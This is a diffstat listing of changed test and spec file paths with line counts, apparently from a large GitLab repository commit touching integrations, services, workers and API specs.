-rw-r--r--spec/models/integrations/external_wiki_spec.rb59
-rw-r--r--spec/models/integrations/flowdock_spec.rb58
-rw-r--r--spec/models/integrations/hangouts_chat_spec.rb15
-rw-r--r--spec/models/integrations/irker_spec.rb76
-rw-r--r--spec/models/integrations/issue_tracker_data_spec.rb9
-rw-r--r--spec/models/integrations/jenkins_spec.rb255
-rw-r--r--spec/models/integrations/jira_spec.rb1081
-rw-r--r--spec/models/integrations/jira_tracker_data_spec.rb19
-rw-r--r--spec/models/integrations/mattermost_slash_commands_spec.rb132
-rw-r--r--spec/models/integrations/mattermost_spec.rb7
-rw-r--r--spec/models/integrations/microsoft_teams_spec.rb360
-rw-r--r--spec/models/integrations/open_project_spec.rb35
-rw-r--r--spec/models/integrations/open_project_tracker_data_spec.rb19
-rw-r--r--spec/models/integrations/packagist_spec.rb48
-rw-r--r--spec/models/integrations/pipelines_email_spec.rb305
-rw-r--r--spec/models/integrations/pivotaltracker_spec.rb101
-rw-r--r--spec/models/integrations/pushover_spec.rb71
-rw-r--r--spec/models/integrations/redmine_spec.rb53
-rw-r--r--spec/models/integrations/slack_slash_commands_spec.rb50
-rw-r--r--spec/models/integrations/slack_spec.rb133
-rw-r--r--spec/models/integrations/teamcity_spec.rb334
-rw-r--r--spec/models/integrations/unify_circuit_spec.rb16
-rw-r--r--spec/models/integrations/webex_teams_spec.rb14
-rw-r--r--spec/models/integrations/youtrack_spec.rb45
-rw-r--r--spec/models/issue_spec.rb54
-rw-r--r--spec/models/key_spec.rb12
-rw-r--r--spec/models/label_link_spec.rb25
-rw-r--r--spec/models/lfs_object_spec.rb30
-rw-r--r--spec/models/lfs_objects_project_spec.rb2
-rw-r--r--spec/models/member_spec.rb45
-rw-r--r--spec/models/members/group_member_spec.rb16
-rw-r--r--spec/models/members/last_group_owner_assigner_spec.rb2
-rw-r--r--spec/models/members/project_member_spec.rb10
-rw-r--r--spec/models/merge_request_diff_spec.rb55
-rw-r--r--spec/models/merge_request_spec.rb103
-rw-r--r--spec/models/milestone_spec.rb43
-rw-r--r--spec/models/namespace_spec.rb96
-rw-r--r--spec/models/note_spec.rb12
-rw-r--r--spec/models/onboarding_progress_spec.rb22
-rw-r--r--spec/models/operations/feature_flag_scope_spec.rb4
-rw-r--r--spec/models/operations/feature_flag_spec.rb8
-rw-r--r--spec/models/packages/debian/file_entry_spec.rb12
-rw-r--r--spec/models/packages/debian/group_distribution_key_spec.rb7
-rw-r--r--spec/models/packages/debian/project_distribution_key_spec.rb7
-rw-r--r--spec/models/packages/package_file_spec.rb16
-rw-r--r--spec/models/packages/package_spec.rb82
-rw-r--r--spec/models/pages/lookup_path_spec.rb9
-rw-r--r--spec/models/pages_domain_spec.rb32
-rw-r--r--spec/models/plan_limits_spec.rb1
-rw-r--r--spec/models/postgresql/replication_slot_spec.rb4
-rw-r--r--spec/models/project_ci_cd_setting_spec.rb6
-rw-r--r--spec/models/project_feature_usage_spec.rb50
-rw-r--r--spec/models/project_repository_storage_move_spec.rb35
-rw-r--r--spec/models/project_services/bugzilla_service_spec.rb35
-rw-r--r--spec/models/project_services/buildkite_service_spec.rb151
-rw-r--r--spec/models/project_services/chat_notification_service_spec.rb282
-rw-r--r--spec/models/project_services/custom_issue_tracker_service_spec.rb35
-rw-r--r--spec/models/project_services/data_fields_spec.rb156
-rw-r--r--spec/models/project_services/discord_service_spec.rb82
-rw-r--r--spec/models/project_services/drone_ci_service_spec.rb148
-rw-r--r--spec/models/project_services/ewm_service_spec.rb61
-rw-r--r--spec/models/project_services/external_wiki_service_spec.rb59
-rw-r--r--spec/models/project_services/flowdock_service_spec.rb58
-rw-r--r--spec/models/project_services/hangouts_chat_service_spec.rb15
-rw-r--r--spec/models/project_services/hipchat_service_spec.rb36
-rw-r--r--spec/models/project_services/irker_service_spec.rb76
-rw-r--r--spec/models/project_services/issue_tracker_data_spec.rb9
-rw-r--r--spec/models/project_services/issue_tracker_service_spec.rb34
-rw-r--r--spec/models/project_services/jenkins_service_spec.rb255
-rw-r--r--spec/models/project_services/jira_service_spec.rb976
-rw-r--r--spec/models/project_services/jira_tracker_data_spec.rb19
-rw-r--r--spec/models/project_services/mattermost_service_spec.rb7
-rw-r--r--spec/models/project_services/mattermost_slash_commands_service_spec.rb132
-rw-r--r--spec/models/project_services/microsoft_teams_service_spec.rb360
-rw-r--r--spec/models/project_services/open_project_service_spec.rb35
-rw-r--r--spec/models/project_services/open_project_tracker_data_spec.rb19
-rw-r--r--spec/models/project_services/packagist_service_spec.rb48
-rw-r--r--spec/models/project_services/pipelines_email_service_spec.rb305
-rw-r--r--spec/models/project_services/pivotaltracker_service_spec.rb101
-rw-r--r--spec/models/project_services/prometheus_service_spec.rb27
-rw-r--r--spec/models/project_services/pushover_service_spec.rb71
-rw-r--r--spec/models/project_services/redmine_service_spec.rb53
-rw-r--r--spec/models/project_services/slack_service_spec.rb133
-rw-r--r--spec/models/project_services/slack_slash_commands_service_spec.rb50
-rw-r--r--spec/models/project_services/teamcity_service_spec.rb334
-rw-r--r--spec/models/project_services/unify_circuit_service_spec.rb16
-rw-r--r--spec/models/project_services/webex_teams_service_spec.rb14
-rw-r--r--spec/models/project_services/youtrack_service_spec.rb45
-rw-r--r--spec/models/project_spec.rb390
-rw-r--r--spec/models/release_highlight_spec.rb6
-rw-r--r--spec/models/repository_spec.rb64
-rw-r--r--spec/models/service_desk_setting_spec.rb31
-rw-r--r--spec/models/snippet_repository_storage_move_spec.rb13
-rw-r--r--spec/models/snippet_spec.rb2
-rw-r--r--spec/models/timelog_spec.rb56
-rw-r--r--spec/models/todo_spec.rb12
-rw-r--r--spec/models/user_detail_spec.rb5
-rw-r--r--spec/models/user_spec.rb69
-rw-r--r--spec/policies/global_policy_spec.rb30
-rw-r--r--spec/policies/group_policy_spec.rb20
-rw-r--r--spec/policies/issue_policy_spec.rb123
-rw-r--r--spec/policies/merge_request_policy_spec.rb5
-rw-r--r--spec/policies/project_policy_spec.rb244
-rw-r--r--spec/presenters/clusters/cluster_presenter_spec.rb4
-rw-r--r--spec/presenters/merge_request_presenter_spec.rb2
-rw-r--r--spec/presenters/packages/detail/package_presenter_spec.rb3
-rw-r--r--spec/presenters/packages/pypi/package_presenter_spec.rb55
-rw-r--r--spec/presenters/project_presenter_spec.rb2
-rw-r--r--spec/presenters/release_presenter_spec.rb40
-rw-r--r--spec/presenters/service_hook_presenter_spec.rb8
-rw-r--r--spec/presenters/web_hook_log_presenter_spec.rb12
-rw-r--r--spec/rack_servers/unicorn_spec.rb105
-rw-r--r--spec/rake_helper.rb6
-rw-r--r--spec/requests/api/branches_spec.rb43
-rw-r--r--spec/requests/api/ci/runner/jobs_put_spec.rb70
-rw-r--r--spec/requests/api/ci/runner/jobs_request_post_spec.rb47
-rw-r--r--spec/requests/api/ci/runner/runners_post_spec.rb37
-rw-r--r--spec/requests/api/ci/runners_spec.rb10
-rw-r--r--spec/requests/api/commit_statuses_spec.rb66
-rw-r--r--spec/requests/api/commits_spec.rb19
-rw-r--r--spec/requests/api/composer_packages_spec.rb2
-rw-r--r--spec/requests/api/conan_instance_packages_spec.rb2
-rw-r--r--spec/requests/api/debian_group_packages_spec.rb14
-rw-r--r--spec/requests/api/debian_project_packages_spec.rb28
-rw-r--r--spec/requests/api/feature_flag_scopes_spec.rb319
-rw-r--r--spec/requests/api/feature_flags_spec.rb216
-rw-r--r--spec/requests/api/files_spec.rb3
-rw-r--r--spec/requests/api/generic_packages_spec.rb3
-rw-r--r--spec/requests/api/go_proxy_spec.rb2
-rw-r--r--spec/requests/api/graphql/ci/ci_cd_setting_spec.rb1
-rw-r--r--spec/requests/api/graphql/group/group_members_spec.rb17
-rw-r--r--spec/requests/api/graphql/group/milestones_spec.rb7
-rw-r--r--spec/requests/api/graphql/group/timelogs_spec.rb49
-rw-r--r--spec/requests/api/graphql/mutations/ci/ci_cd_settings_update_spec.rb32
-rw-r--r--spec/requests/api/graphql/mutations/ci/runners_registration_token/reset_spec.rb122
-rw-r--r--spec/requests/api/graphql/mutations/labels/create_spec.rb3
-rw-r--r--spec/requests/api/graphql/mutations/snippets/create_spec.rb4
-rw-r--r--spec/requests/api/graphql/mutations/snippets/update_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/todos/mark_all_done_spec.rb6
-rw-r--r--spec/requests/api/graphql/mutations/todos/restore_many_spec.rb2
-rw-r--r--spec/requests/api/graphql/packages/composer_spec.rb51
-rw-r--r--spec/requests/api/graphql/packages/conan_spec.rb50
-rw-r--r--spec/requests/api/graphql/packages/maven_spec.rb92
-rw-r--r--spec/requests/api/graphql/packages/nuget_spec.rb61
-rw-r--r--spec/requests/api/graphql/packages/pypi_spec.rb27
-rw-r--r--spec/requests/api/graphql/project/base_service_spec.rb2
-rw-r--r--spec/requests/api/graphql/project/project_members_spec.rb14
-rw-r--r--spec/requests/api/graphql/project/releases_spec.rb106
-rw-r--r--spec/requests/api/graphql/project_query_spec.rb25
-rw-r--r--spec/requests/api/group_avatar_spec.rb64
-rw-r--r--spec/requests/api/group_container_repositories_spec.rb1
-rw-r--r--spec/requests/api/group_export_spec.rb19
-rw-r--r--spec/requests/api/group_labels_spec.rb4
-rw-r--r--spec/requests/api/groups_spec.rb41
-rw-r--r--spec/requests/api/helm_packages_spec.rb63
-rw-r--r--spec/requests/api/internal/base_spec.rb53
-rw-r--r--spec/requests/api/invitations_spec.rb50
-rw-r--r--spec/requests/api/issues/put_projects_issues_spec.rb11
-rw-r--r--spec/requests/api/labels_spec.rb14
-rw-r--r--spec/requests/api/maven_packages_spec.rb426
-rw-r--r--spec/requests/api/members_spec.rb68
-rw-r--r--spec/requests/api/merge_requests_spec.rb45
-rw-r--r--spec/requests/api/npm_project_packages_spec.rb5
-rw-r--r--spec/requests/api/nuget_group_packages_spec.rb2
-rw-r--r--spec/requests/api/nuget_project_packages_spec.rb8
-rw-r--r--spec/requests/api/project_attributes.yml4
-rw-r--r--spec/requests/api/project_container_repositories_spec.rb6
-rw-r--r--spec/requests/api/project_debian_distributions_spec.rb66
-rw-r--r--spec/requests/api/project_export_spec.rb13
-rw-r--r--spec/requests/api/project_packages_spec.rb32
-rw-r--r--spec/requests/api/project_repository_storage_moves_spec.rb2
-rw-r--r--spec/requests/api/project_statistics_spec.rb10
-rw-r--r--spec/requests/api/projects_spec.rb214
-rw-r--r--spec/requests/api/pypi_packages_spec.rb242
-rw-r--r--spec/requests/api/releases_spec.rb2
-rw-r--r--spec/requests/api/repositories_spec.rb10
-rw-r--r--spec/requests/api/rubygem_packages_spec.rb14
-rw-r--r--spec/requests/api/services_spec.rb2
-rw-r--r--spec/requests/api/settings_spec.rb4
-rw-r--r--spec/requests/api/tags_spec.rb129
-rw-r--r--spec/requests/api/terraform/modules/v1/packages_spec.rb13
-rw-r--r--spec/requests/api/terraform/state_spec.rb22
-rw-r--r--spec/requests/api/unleash_spec.rb162
-rw-r--r--spec/requests/api/users_preferences_spec.rb12
-rw-r--r--spec/requests/api/users_spec.rb23
-rw-r--r--spec/requests/api/wikis_spec.rb45
-rw-r--r--spec/requests/git_http_spec.rb4
-rw-r--r--spec/requests/groups/email_campaigns_controller_spec.rb13
-rw-r--r--spec/requests/lfs_http_spec.rb4
-rw-r--r--spec/requests/oauth/tokens_controller_spec.rb71
-rw-r--r--spec/requests/openid_connect_spec.rb110
-rw-r--r--spec/requests/users_controller_spec.rb42
-rw-r--r--spec/routing/project_routing_spec.rb34
-rw-r--r--spec/routing/routing_spec.rb28
-rw-r--r--spec/rubocop/cop/usage_data/histogram_with_large_table_spec.rb108
-rw-r--r--spec/rubocop/cop/usage_data/instrumentation_superclass_spec.rb64
-rw-r--r--spec/serializers/analytics_summary_serializer_spec.rb4
-rw-r--r--spec/serializers/cluster_application_entity_spec.rb12
-rw-r--r--spec/serializers/cluster_entity_spec.rb4
-rw-r--r--spec/serializers/fork_namespace_entity_spec.rb32
-rw-r--r--spec/serializers/issue_board_entity_spec.rb2
-rw-r--r--spec/serializers/member_serializer_spec.rb2
-rw-r--r--spec/serializers/merge_request_diff_entity_spec.rb68
-rw-r--r--spec/serializers/pipeline_serializer_spec.rb19
-rw-r--r--spec/services/admin/propagate_service_template_spec.rb2
-rw-r--r--spec/services/authorized_project_update/periodic_recalculate_service_spec.rb2
-rw-r--r--spec/services/authorized_project_update/project_recalculate_service_spec.rb76
-rw-r--r--spec/services/authorized_project_update/recalculate_for_user_range_service_spec.rb21
-rw-r--r--spec/services/bulk_imports/file_decompression_service_spec.rb99
-rw-r--r--spec/services/bulk_imports/file_download_service_spec.rb133
-rw-r--r--spec/services/bulk_imports/relation_export_service_spec.rb2
-rw-r--r--spec/services/bulk_update_integration_service_spec.rb8
-rw-r--r--spec/services/ci/append_build_trace_service_spec.rb2
-rw-r--r--spec/services/ci/create_downstream_pipeline_service_spec.rb47
-rw-r--r--spec/services/ci/create_pipeline_service/creation_errors_and_warnings_spec.rb13
-rw-r--r--spec/services/ci/create_pipeline_service/cross_project_pipeline_spec.rb2
-rw-r--r--spec/services/ci/create_pipeline_service/needs_spec.rb2
-rw-r--r--spec/services/ci/create_pipeline_service_spec.rb3
-rw-r--r--spec/services/ci/job_artifacts/create_service_spec.rb47
-rw-r--r--spec/services/ci/pipeline_creation/start_pipeline_service_spec.rb20
-rw-r--r--spec/services/ci/pipeline_processing/shared_processing_service.rb2
-rw-r--r--spec/services/ci/pipeline_processing/shared_processing_service_tests_with_yaml.rb1
-rw-r--r--spec/services/ci/register_job_service_spec.rb147
-rw-r--r--spec/services/ci/retry_build_service_spec.rb10
-rw-r--r--spec/services/ci/update_build_queue_service_spec.rb368
-rw-r--r--spec/services/ci/update_build_state_service_spec.rb42
-rw-r--r--spec/services/clusters/applications/create_service_spec.rb7
-rw-r--r--spec/services/clusters/cleanup/app_service_spec.rb118
-rw-r--r--spec/services/clusters/destroy_service_spec.rb6
-rw-r--r--spec/services/clusters/gcp/finalize_creation_service_spec.rb6
-rw-r--r--spec/services/clusters/parse_cluster_applications_artifact_service_spec.rb126
-rw-r--r--spec/services/commits/cherry_pick_service_spec.rb13
-rw-r--r--spec/services/container_expiration_policies/cleanup_service_spec.rb286
-rw-r--r--spec/services/deployments/update_environment_service_spec.rb36
-rw-r--r--spec/services/design_management/copy_design_collection/copy_service_spec.rb8
-rw-r--r--spec/services/discussions/resolve_service_spec.rb45
-rw-r--r--spec/services/feature_flags/disable_service_spec.rb92
-rw-r--r--spec/services/feature_flags/enable_service_spec.rb154
-rw-r--r--spec/services/feature_flags/update_service_spec.rb145
-rw-r--r--spec/services/groups/create_service_spec.rb2
-rw-r--r--spec/services/groups/destroy_service_spec.rb2
-rw-r--r--spec/services/groups/group_links/create_service_spec.rb46
-rw-r--r--spec/services/groups/participants_service_spec.rb37
-rw-r--r--spec/services/import_export_clean_up_service_spec.rb77
-rw-r--r--spec/services/issue_rebalancing_service_spec.rb21
-rw-r--r--spec/services/issues/close_service_spec.rb85
-rw-r--r--spec/services/issues/create_service_spec.rb24
-rw-r--r--spec/services/issues/update_service_spec.rb90
-rw-r--r--spec/services/issues/zoom_link_service_spec.rb10
-rw-r--r--spec/services/jira_import/users_importer_spec.rb72
-rw-r--r--spec/services/lfs/push_service_spec.rb17
-rw-r--r--spec/services/members/create_service_spec.rb45
-rw-r--r--spec/services/members/invite_service_spec.rb16
-rw-r--r--spec/services/merge_requests/build_service_spec.rb70
-rw-r--r--spec/services/merge_requests/create_service_spec.rb2
-rw-r--r--spec/services/merge_requests/handle_assignees_change_service_spec.rb22
-rw-r--r--spec/services/merge_requests/merge_service_spec.rb4
-rw-r--r--spec/services/merge_requests/update_assignees_service_spec.rb47
-rw-r--r--spec/services/merge_requests/update_service_spec.rb8
-rw-r--r--spec/services/namespace_settings/update_service_spec.rb32
-rw-r--r--spec/services/namespaces/in_product_marketing_emails_service_spec.rb29
-rw-r--r--spec/services/notes/create_service_spec.rb4
-rw-r--r--spec/services/notes/quick_actions_service_spec.rb16
-rw-r--r--spec/services/notification_recipients/builder/default_spec.rb16
-rw-r--r--spec/services/packages/debian/create_distribution_service_spec.rb9
-rw-r--r--spec/services/packages/debian/destroy_distribution_service_spec.rb78
-rw-r--r--spec/services/packages/debian/extract_changes_metadata_service_spec.rb30
-rw-r--r--spec/services/packages/debian/generate_distribution_service_spec.rb175
-rw-r--r--spec/services/packages/debian/parse_debian822_service_spec.rb2
-rw-r--r--spec/services/packages/debian/process_changes_service_spec.rb3
-rw-r--r--spec/services/packages/debian/update_distribution_service_spec.rb2
-rw-r--r--spec/services/packages/helm/extract_file_metadata_service_spec.rb59
-rw-r--r--spec/services/packages/nuget/metadata_extraction_service_spec.rb7
-rw-r--r--spec/services/packages/nuget/update_package_from_metadata_service_spec.rb28
-rw-r--r--spec/services/pages/delete_service_spec.rb37
-rw-r--r--spec/services/pod_logs/elasticsearch_service_spec.rb18
-rw-r--r--spec/services/projects/create_service_spec.rb72
-rw-r--r--spec/services/projects/destroy_service_spec.rb17
-rw-r--r--spec/services/projects/group_links/create_service_spec.rb24
-rw-r--r--spec/services/projects/group_links/destroy_service_spec.rb58
-rw-r--r--spec/services/projects/prometheus/alerts/notify_service_spec.rb39
-rw-r--r--spec/services/projects/schedule_bulk_repository_shard_moves_service_spec.rb2
-rw-r--r--spec/services/projects/transfer_service_spec.rb2
-rw-r--r--spec/services/projects/update_service_spec.rb25
-rw-r--r--spec/services/quick_actions/interpret_service_spec.rb10
-rw-r--r--spec/services/security/ci_configuration/sast_parser_service_spec.rb30
-rw-r--r--spec/services/snippets/create_service_spec.rb2
-rw-r--r--spec/services/snippets/update_service_spec.rb2
-rw-r--r--spec/services/system_notes/issuables_service_spec.rb2
-rw-r--r--spec/services/user_project_access_changed_service_spec.rb35
-rw-r--r--spec/services/users/activity_service_spec.rb47
-rw-r--r--spec/services/users/authorized_build_service_spec.rb16
-rw-r--r--spec/services/users/build_service_spec.rb139
-rw-r--r--spec/services/users/update_assigned_open_issue_count_service_spec.rb49
-rw-r--r--spec/services/web_hook_service_spec.rb96
-rw-r--r--spec/spec_helper.rb9
-rw-r--r--spec/support/capybara.rb3
-rw-r--r--spec/support/database_cleaner.rb2
-rw-r--r--spec/support/gitlab/usage/metrics_instrumentation_shared_examples.rb31
-rw-r--r--spec/support/gitlab_stubs/gitlab_ci_for_sast.yml1
-rw-r--r--spec/support/gitlab_stubs/gitlab_ci_for_sast_default_analyzers.yml15
-rw-r--r--spec/support/helpers/access_matchers_helpers.rb16
-rw-r--r--spec/support/helpers/cycle_analytics_helpers.rb5
-rw-r--r--spec/support/helpers/feature_flag_helpers.rb3
-rw-r--r--spec/support/helpers/features/top_nav_spec_helpers.rb53
-rw-r--r--spec/support/helpers/gitaly_setup.rb4
-rw-r--r--spec/support/helpers/global_id_deprecation_helpers.rb13
-rw-r--r--spec/support/helpers/graphql_helpers.rb4
-rw-r--r--spec/support/helpers/javascript_fixtures_helpers.rb10
-rw-r--r--spec/support/helpers/login_helpers.rb6
-rw-r--r--spec/support/helpers/query_recorder.rb7
-rw-r--r--spec/support/helpers/rake_helpers.rb5
-rw-r--r--spec/support/helpers/reference_parser_helpers.rb18
-rw-r--r--spec/support/helpers/usage_data_helpers.rb2
-rw-r--r--spec/support/import_export/common_util.rb8
-rw-r--r--spec/support/matchers/be_one_of.rb11
-rw-r--r--spec/support/redis.rb8
-rw-r--r--spec/support/redis/redis_helpers.rb5
-rw-r--r--spec/support/redis/redis_shared_examples.rb149
-rw-r--r--spec/support/shared_contexts/change_access_checks_shared_context.rb29
-rw-r--r--spec/support/shared_contexts/changes_access_checks_shared_context.rb40
-rw-r--r--spec/support/shared_contexts/features/integrations/group_integrations_shared_context.rb28
-rw-r--r--spec/support/shared_contexts/features/integrations/instance_and_group_integrations_shared_context.rb18
-rw-r--r--spec/support/shared_contexts/features/integrations/instance_integrations_shared_context.rb24
-rw-r--r--spec/support/shared_contexts/features/integrations/integrations_shared_context.rb78
-rw-r--r--spec/support/shared_contexts/features/integrations/project_integrations_jira_context.rb (renamed from spec/support/shared_contexts/project_service_jira_context.rb)0
-rw-r--r--spec/support/shared_contexts/features/integrations/project_integrations_shared_context.rb45
-rw-r--r--spec/support/shared_contexts/graphql/requests/packages_shared_context.rb33
-rw-r--r--spec/support/shared_contexts/load_balancing_configuration_shared_context.rb19
-rw-r--r--spec/support/shared_contexts/navbar_structure_context.rb20
-rw-r--r--spec/support/shared_contexts/policies/project_policy_shared_context.rb4
-rw-r--r--spec/support/shared_contexts/project_service_shared_context.rb47
-rw-r--r--spec/support/shared_contexts/read_ci_configuration_shared_context.rb4
-rw-r--r--spec/support/shared_contexts/requests/api/conan_packages_shared_context.rb4
-rw-r--r--spec/support/shared_contexts/requests/api/helm_packages_shared_context.rb10
-rw-r--r--spec/support/shared_contexts/requests/api/npm_packages_shared_context.rb2
-rw-r--r--spec/support/shared_contexts/services/packages/debian/distribution_shared_context.rb20
-rw-r--r--spec/support/shared_contexts/services_shared_context.rb72
-rw-r--r--spec/support/shared_contexts/single_change_access_checks_shared_context.rb29
-rw-r--r--spec/support/shared_examples/ci/badge_template_shared_examples.rb57
-rw-r--r--spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/features/discussion_comments_shared_example.rb4
-rw-r--r--spec/support/shared_examples/features/integrations/user_activates_mattermost_slash_command_integration_shared_examples.rb34
-rw-r--r--spec/support/shared_examples/features/issuable_invite_members_shared_examples.rb12
-rw-r--r--spec/support/shared_examples/features/variable_list_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/finders/assignees_filter_shared_examples.rb6
-rw-r--r--spec/support/shared_examples/graphql/mutations/can_mutate_spammable_examples.rb6
-rw-r--r--spec/support/shared_examples/graphql/mutations/resolves_subscription_shared_examples.rb53
-rw-r--r--spec/support/shared_examples/lib/gitlab/ci/ci_trace_shared_examples.rb74
-rw-r--r--spec/support/shared_examples/lib/gitlab/experimentation_shared_examples.rb20
-rw-r--r--spec/support/shared_examples/models/chat_integration_shared_examples.rb359
-rw-r--r--spec/support/shared_examples/models/chat_service_shared_examples.rb359
-rw-r--r--spec/support/shared_examples/models/chat_slash_commands_shared_examples.rb128
-rw-r--r--spec/support/shared_examples/models/concerns/integrations/slack_mattermost_notifier_shared_examples.rb648
-rw-r--r--spec/support/shared_examples/models/concerns/timebox_shared_examples.rb39
-rw-r--r--spec/support/shared_examples/models/integrations/base_slash_commands_shared_examples.rb128
-rw-r--r--spec/support/shared_examples/models/mentionable_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/models/packages/debian/component_file_shared_example.rb18
-rw-r--r--spec/support/shared_examples/models/packages/debian/distribution_key_shared_examples.rb49
-rw-r--r--spec/support/shared_examples/models/packages/debian/distribution_shared_examples.rb1
-rw-r--r--spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb643
-rw-r--r--spec/support/shared_examples/namespaces/linear_traversal_examples.rb23
-rw-r--r--spec/support/shared_examples/namespaces/traversal_examples.rb38
-rw-r--r--spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb12
-rw-r--r--spec/support/shared_examples/requests/api/debian_packages_shared_examples.rb222
-rw-r--r--spec/support/shared_examples/requests/api/graphql/packages/package_details_shared_examples.rb27
-rw-r--r--spec/support/shared_examples/requests/api/helm_packages_shared_examples.rb53
-rw-r--r--spec/support/shared_examples/requests/api/packages_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/requests/api/pypi_packages_shared_examples.rb173
-rw-r--r--spec/support/shared_examples/requests/api/resource_label_events_api_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/requests/api/tracking_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/services/clusters/parse_cluster_applications_artifact_shared_examples.rb89
-rw-r--r--spec/support/shared_examples/services/packages/debian/generate_distribution_shared_examples.rb166
-rw-r--r--spec/support/shared_examples/services/users/build_service_shared_examples.rb125
-rw-r--r--spec/support/shared_examples/uncached_response_shared_examples.rb12
-rw-r--r--spec/support/unicorn.rb27
-rw-r--r--spec/tasks/admin_mode_spec.rb2
-rw-r--r--spec/tasks/cache/clear/redis_spec.rb39
-rw-r--r--spec/tasks/config_lint_spec.rb4
-rw-r--r--spec/tasks/gettext_rake_spec.rb4
-rw-r--r--spec/tasks/gitlab/artifacts/check_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/artifacts/migrate_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/backup_rake_spec.rb78
-rw-r--r--spec/tasks/gitlab/check_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/cleanup_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/container_registry_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/db_rake_spec.rb18
-rw-r--r--spec/tasks/gitlab/external_diffs_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/generate_sample_prometheus_data_spec.rb2
-rw-r--r--spec/tasks/gitlab/git_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/gitaly_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/info_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/ldap_rake_spec.rb6
-rw-r--r--spec/tasks/gitlab/lfs/check_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/lfs/migrate_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/packages/composer_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/packages/events_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/packages/migrate_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/pages_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/password_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/praefect_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/seed/group_seed_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/shell_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/sidekiq_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/snippets_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/storage_rake_spec.rb31
-rw-r--r--spec/tasks/gitlab/terraform/migrate_rake_spec.rb4
-rw-r--r--spec/tasks/gitlab/update_templates_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/uploads/check_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/uploads/migrate_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/usage_data_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/user_management_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/web_hook_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/workhorse_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/x509/update_rake_spec.rb2
-rw-r--r--spec/tasks/migrate/schema_check_rake_spec.rb2
-rw-r--r--spec/tasks/tokens_spec.rb2
-rw-r--r--spec/tooling/danger/changelog_spec.rb299
-rw-r--r--spec/tooling/danger/product_intelligence_spec.rb150
-rw-r--r--spec/tooling/danger/project_helper_spec.rb36
-rw-r--r--spec/tooling/graphql/docs/renderer_spec.rb643
-rw-r--r--spec/views/admin/users/_user.html.haml_spec.rb51
-rw-r--r--spec/views/devise/shared/_signup_box.html.haml_spec.rb2
-rw-r--r--spec/views/layouts/header/_new_dropdown.haml_spec.rb12
-rw-r--r--spec/views/layouts/nav/sidebar/_group.html.haml_spec.rb12
-rw-r--r--spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb45
-rw-r--r--spec/views/projects/clusters/clusters/gcp/_form.html.haml_spec.rb12
-rw-r--r--spec/views/projects/empty.html.haml_spec.rb47
-rw-r--r--spec/views/projects/services/_form.haml_spec.rb17
-rw-r--r--spec/views/projects/services/edit.html.haml_spec.rb6
-rw-r--r--spec/views/projects/settings/operations/show.html.haml_spec.rb40
-rw-r--r--spec/views/shared/nav/_sidebar.html.haml_spec.rb2
-rw-r--r--spec/workers/analytics/instance_statistics/count_job_trigger_worker_spec.rb17
-rw-r--r--spec/workers/analytics/instance_statistics/counter_job_worker_spec.rb70
-rw-r--r--spec/workers/authorized_project_update/project_recalculate_worker_spec.rb68
-rw-r--r--spec/workers/authorized_project_update/user_refresh_from_replica_worker_spec.rb11
-rw-r--r--spec/workers/authorized_project_update/user_refresh_over_user_range_worker_spec.rb58
-rw-r--r--spec/workers/build_hooks_worker_spec.rb15
-rw-r--r--spec/workers/build_queue_worker_spec.rb31
-rw-r--r--spec/workers/bulk_import_worker_spec.rb22
-rw-r--r--spec/workers/bulk_imports/export_request_worker_spec.rb2
-rw-r--r--spec/workers/bulk_imports/pipeline_worker_spec.rb122
-rw-r--r--spec/workers/ci/initial_pipeline_process_worker_spec.rb4
-rw-r--r--spec/workers/clusters/applications/activate_service_worker_spec.rb6
-rw-r--r--spec/workers/clusters/applications/deactivate_service_worker_spec.rb12
-rw-r--r--spec/workers/clusters/cleanup/app_worker_spec.rb41
-rw-r--r--spec/workers/concerns/application_worker_spec.rb34
-rw-r--r--spec/workers/concerns/worker_attributes_spec.rb68
-rw-r--r--spec/workers/container_expiration_policies/cleanup_container_repository_worker_spec.rb560
-rw-r--r--spec/workers/container_expiration_policy_worker_spec.rb104
-rw-r--r--spec/workers/deployments/execute_hooks_worker_spec.rb51
-rw-r--r--spec/workers/every_sidekiq_worker_spec.rb8
-rw-r--r--spec/workers/expire_pipeline_cache_worker_spec.rb11
-rw-r--r--spec/workers/git_garbage_collect_worker_spec.rb26
-rw-r--r--spec/workers/incident_management/process_alert_worker_spec.rb88
-rw-r--r--spec/workers/incident_management/process_prometheus_alert_worker_spec.rb28
-rw-r--r--spec/workers/issue_placement_worker_spec.rb4
-rw-r--r--spec/workers/issue_rebalancing_worker_spec.rb85
-rw-r--r--spec/workers/merge_requests/assignees_change_worker_spec.rb59
